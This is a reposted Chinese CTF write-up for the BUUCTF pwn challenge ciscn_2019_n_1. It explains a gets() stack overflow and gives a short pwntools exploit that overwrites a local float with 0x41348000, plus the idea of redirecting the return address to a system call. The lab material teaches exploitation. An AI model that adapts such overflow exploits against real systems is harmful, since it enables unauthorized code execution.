[BUUCTF-pwn]——ciscn_2019_n_1
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——ciscn_2019_n_1
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——ciscn_2019_n_1
- [BUUCTF-pwn]——ciscn_2019_n_1
- 思路一 —— 覆蓋局部變量
- 思路二 —— 覆蓋返回地址
- 題目地址:https://buuoj.cn/challenges#ciscn_2019_n_1
- 題目:
老規矩下載下來后,在Linux上checksec一下,64位,并且沒有開啟棧保護,意味著我們可以利用棧溢出
在IDA中看一下,main函數里面沒有什么可以利用的
雙擊func函數看看,就是我們想要的。
思路一 —— 覆蓋局部變量
我們只需要讓v2的值等于11.28125即可。而v2又沒有辦法直接輸入,但是v1是利用gets這個典型的棧溢出函數輸入的。v2和v1之間的距離為0x30 - 0x4。下面我們只需要計算一下11.28125的16進制儲存方式就好。
11.28125 轉換為二進制為 1011.01001 11.28125 在計算機內部儲存為 0100 0001 0011 0100 1000 0000 0000 0000 即11.28125 ==> 0x41348000也可以用代碼計算
#include <stdio.h> int main() {float a = 11.28125;unsigned char *p = (unsigned char*)&a;printf("0X%02x%02x%02x%02x",(int)p[3],(int)p[2],(int)p[1],(int)p[0]);return 0; }這個思路的exploit就是
from pwn import * p = remote("node3.buuoj.cn",xxxx) ans = 0x41348000 payload = 'a'*(0x30 - 0x4) + p64(ans) p.sendline(payload) p.interactive()思路二 —— 覆蓋返回地址
找到func函數,在里面找到system函數的位置,覆蓋返回地址。找到system函數壓參數的位置0x4006BE,v1距離ebp 0x30,ebp8個字節。
所以該思路的expolit可以這樣寫
總體來說,兩個思路都很簡單,不過第一個需要算那個十六進制有點麻煩,還百度查看了一下,浮點數的儲存。
有幫助就點個贊呀 😃
總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_n_1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——pwn1_s
- 下一篇: [BUUCTF-pwn]——jarvis